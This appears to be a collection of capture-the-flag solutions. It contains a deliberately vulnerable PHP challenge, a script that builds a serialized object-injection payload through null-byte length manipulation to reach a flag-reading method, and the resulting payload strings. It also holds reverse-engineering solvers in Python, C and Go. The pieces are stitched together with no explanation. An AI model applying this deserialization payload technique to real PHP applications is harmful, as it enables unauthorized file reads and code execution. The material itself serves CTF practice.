<?php

highlight_file(__FILE__);

error_reporting(0);

class A{

  public $key;

  public function readflag(){

     if($this->key === "\0key\0"){

       readfile('/flag');

     }

  }

}

class B{

  public function  __toString(){

     return ($this->b)();

  }

}

class C{

  public $s;

  public $str;

  public function  __construct($s){

     $this->s = $s;

  }

  public function  __destruct(){

     echo $this->str;

  }

}

 

$ser = serialize(new C($_GET['c']));

$data = str_ireplace("\0","00",$ser);

unserialize($data);

?>

<?php

class A {

 public $key;

 public function readflag() {

    if ($this->key === "\0key\0") {

      readfile('/flag');

    }

 }

}



class B {

 public $b;

 public function __toString() {

    return ($this->b)();

 }

}



class C {

 public $s;

 public $str;

 public function __construct($s) {

    $this->s = $s;

 }

 public function __destruct() {

    echo $this->str;

 }

}



$key = new A();

$key->key = "\0key\0";

$f = array(unserialize(serialize($key)), 'readflag');

$reflection=new B();

$reflection->b=$f;

str_ireplace('00', "\0", '";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}');

//O:1:"C":2:{s:1:"s";s:197:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\key\";}i:1;s:8:"readflag";}}}

O:1:"C":2:{s:1:"s";s:194:"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

O:1:"C":2:{s:1:"s";s:196:"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}";s:3:"str";N;}

<?php

class A {

 public $key;

 public function readflag() {

   if ($this->key === "\0key\0") {

     readfile('/flag');

   }

 var_dump("abc");

 }

}



class B {

public $b;

 public function __toString() {

   return ($this->b)();

 }

}



class C {

 public $s;

 public $str;

 public function __construct($s) {

   $this->s = $s;

 }

 public function __destruct() {

   echo $this->str;

 }

}



$key = new A();

$key->key = "\\\0key\\\0";

$f = array(unserialize(serialize($key)), 'readflag');

$reflection=new B();

$reflection->b=$f;

$payload_str = '";s:3:"str";' . serialize($reflection) . ';}';

$obj_len = strlen($payload_str);

$add_str = "";

for ($i=0;$i<$obj_len;$i++) $add_str = $add_str . "\0";

echo urlencode("1" . $add_str . str_replace('key";s:7:', 'key";S:5:', $payload_str));、

?>

start_loc = 0x1DDFFDAEA60
end_loc = 0x1DDFFDAEE20


def DFS(now_loc, all_visited_loc, path):
   if now_loc == end_loc:
       if len(path) == 42:
           print("yes! Found the path", end='')
           for i in path:
               print(i, end='')
           return
       else:
           return

   if now_loc in all_visited_loc:
       return
   all_visited_loc.append(now_loc)

   # 开始深度搜索
   # case 'x'
   ifx = get_qword(now_loc)
   xfalse = get_wide_byte(now_loc + 24)
   # case 'y'
   ify = get_qword(now_loc + 8)
   yfalse = get_wide_byte(now_loc + 25)
   # case 'z'
   ifz = get_qword(now_loc + 16)
   zfalse = get_wide_byte(now_loc + 26)

   if (ifx > 0) and (xfalse == 0):
       path.append('x')
       DFS(ifx, all_visited_loc, path)
       path.pop()

   if (ify > 0) and (yfalse == 0):
       path.append('y')
       DFS(ify, all_visited_loc, path)
       path.pop()

   if (ifz > 0) and (zfalse == 0):
       path.append('z')
       DFS(ifz, all_visited_loc, path)
       path.pop()

   all_visited_loc.pop()
   return


all_visited_loc = []
path = []
DFS(start_loc, all_visited_loc, path)

#include<stdio.h>
#include<string.h>
int cmp(unsigned char *tmp, int index,int i)
{
	int ret=0;
	switch (index)
	{
	case 0:
		ret=((tmp[0] >> 2) & 0x3f) == i;
		break;
	case 1:
		ret=(((tmp[0] << 4) | (tmp[1] >> 4)) & 0x3f) == i;
		break;
	case 2:
		ret = (((tmp[1] << 2) | (tmp[2] >> 6)) & 0x3f) == i;
		break;
	case 3:
		ret = (tmp[2] & 0x3f) == i;
		break;
	}
	return ret;
}
unsigned char box[] = { "APet8BQfu9CRgv+DShw/ETixFUjyGVkzHWl0IXm1JYn2KZo3Lap4Mbq5Ncr6Ods7" };
void rebase64(int index, unsigned char* v, unsigned char* tmp, int index_1) {
	if (index >= 43) {
		
		for (int i = 0; i < 44; i++)
		{
			printf("%x ", tmp[i]);
		}
		printf("\n");
		return;
	}
	if (index % 4 == 0 && index !=0)
	{
		index_1 = index_1+3;
	}
	for (int i = 0; i < 64; i++)
	{
		tmp[index] = v[index] ^ box[i];
		if (cmp(tmp + index_1, (index % 4), i)) {
			rebase64(index + 1, v, tmp, index_1);
		}
	}
}
int main()
{
	unsigned char v[] =
	{
	  0xD9, 0x40, 0x6F, 0xCA, 0x3D, 0x8F, 0x53, 0xB1, 0x8B, 0x34,
	  0x92, 0x8E, 0xF7, 0x19, 0x94, 0x61, 0x68, 0x71, 0x55, 0xB6,
	  0xCE, 0x5B, 0x71, 0x1A, 0x79, 0x42, 0x9D, 0x02, 0x93, 0x38,
	  0xAD, 0x1F, 0xD3, 0x24, 0x48, 0xFF, 0x21, 0xA2, 0x24, 0xBE,
	  0x95, 0x3A, 0xC1, 0xD2
	};
	unsigned char tmp[100];
	int index = 0;
	int index_1 = 0;
	rebase64(index, v, tmp, index_1);
	unsigned char m[] = { 0x90,0x10,0x2e,0xa5,0x64,0xe6,0x7c,0xdc,0xf1,0x42,0xa6,0xef,0xa4,0x77,0xed,0x52,0x31,0x17,0x2f,0xec,0x8b,0x6b,0x49,0x62,0x2b,0x31,0xed,0x50,0xf9,0x75,0xf5,0x73 };
	unsigned int sum = 0;
	for (int i = 0; i <= 31; ++i)
		sum = 19 * sum + m[i];
	printf("%x", sum);
}

unsigned char m[] = { 0x90,0x10,0x2e,0xa5,0x64,0xe6,0x7c,0xdc,0xf1,0x42,0xa6,0xef,0xa4,0x77,0xed,0x52,0x31,0x17,0x2f,0xec,0x8b,0x6b,0x49,0x62,0x2b,0x31,0xed,0x50,0xf9,0x75,0xf5,0x73 };

package main

import (
	"crypto/sha256"
	"fmt"
	"io"
	"log"
	"os"

	"golang.org/x/crypto/chacha20"
	"golang.org/x/crypto/curve25519"
)

func main() {
	// 假设的标量值
	scalar := [32]byte{0x90, 0x10, 0x2e, 0xa5, 0x64, 0xe6, 0x7c, 0xdc, 0xf1, 0x42, 0xa6, 0xef, 0xa4, 0x77, 0xed, 0x52, 0x31, 0x17, 0x2f, 0xec, 0x8b, 0x6b, 0x49, 0x62, 0x2b, 0x31, 0xed, 0x50, 0xf9, 0x75, 0xf5, 0x73}
	publicKey := [32]byte{
		0x34, 0x5B, 0xEB, 0x9B, 0xCC, 0x66, 0xAE, 0xB8, 0x4C, 0xFD, 0x5B, 0xD1, 0x52, 0x32, 0x48, 0x75,
		0x0F, 0x3B, 0xFA, 0x8A, 0x87, 0x9A, 0x08, 0xB9, 0x8D, 0xD9, 0xE3, 0x88, 0x7C, 0x95, 0x65, 0x14}

	result1 := [32]byte{}
	result2 := [32]byte{}
	curve25519.ScalarMult(&result2, &scalar, &publicKey)
	fmt.Printf("%x\n", result2)
	key := sha256.Sum256(result2[:])

	data := sha256.Sum256(key[:])

	inputFile, err := os.Open("flag.png.xiran")
	if err != nil {
		log.Fatal(err)
	}
	defer inputFile.Close()

	// 创建加密后的输出文件
	outputFile, err := os.Create("encrypted_flag.png")
	if err != nil {
		log.Fatal(err)
	}
	defer outputFile.Close()
	c, err := chacha20.NewUnauthenticatedCipher(key[:], data[10:22])
	if err != nil {
		panic(err)
	}
	length := 0x64a5a8a
	sum := 0
	for sum*0xa00000 < length {
		buffer := make([]byte, 0xa00000)
		n, err := inputFile.ReadAt(buffer, (int64)(sum*0xa00000))
		if err != nil && err != io.EOF {
			log.Fatal(err)
		}
		c.XORKeyStream(buffer[:0x100000], buffer[:0x100000])
		if _, err := outputFile.WriteAt(buffer[:n], (int64)(sum*0xa00000)); err != nil {
			log.Fatal(err)
		}
		if err == io.EOF {
			break
		}
		sum = sum + 1
	}
	log.Println("解密完成")
}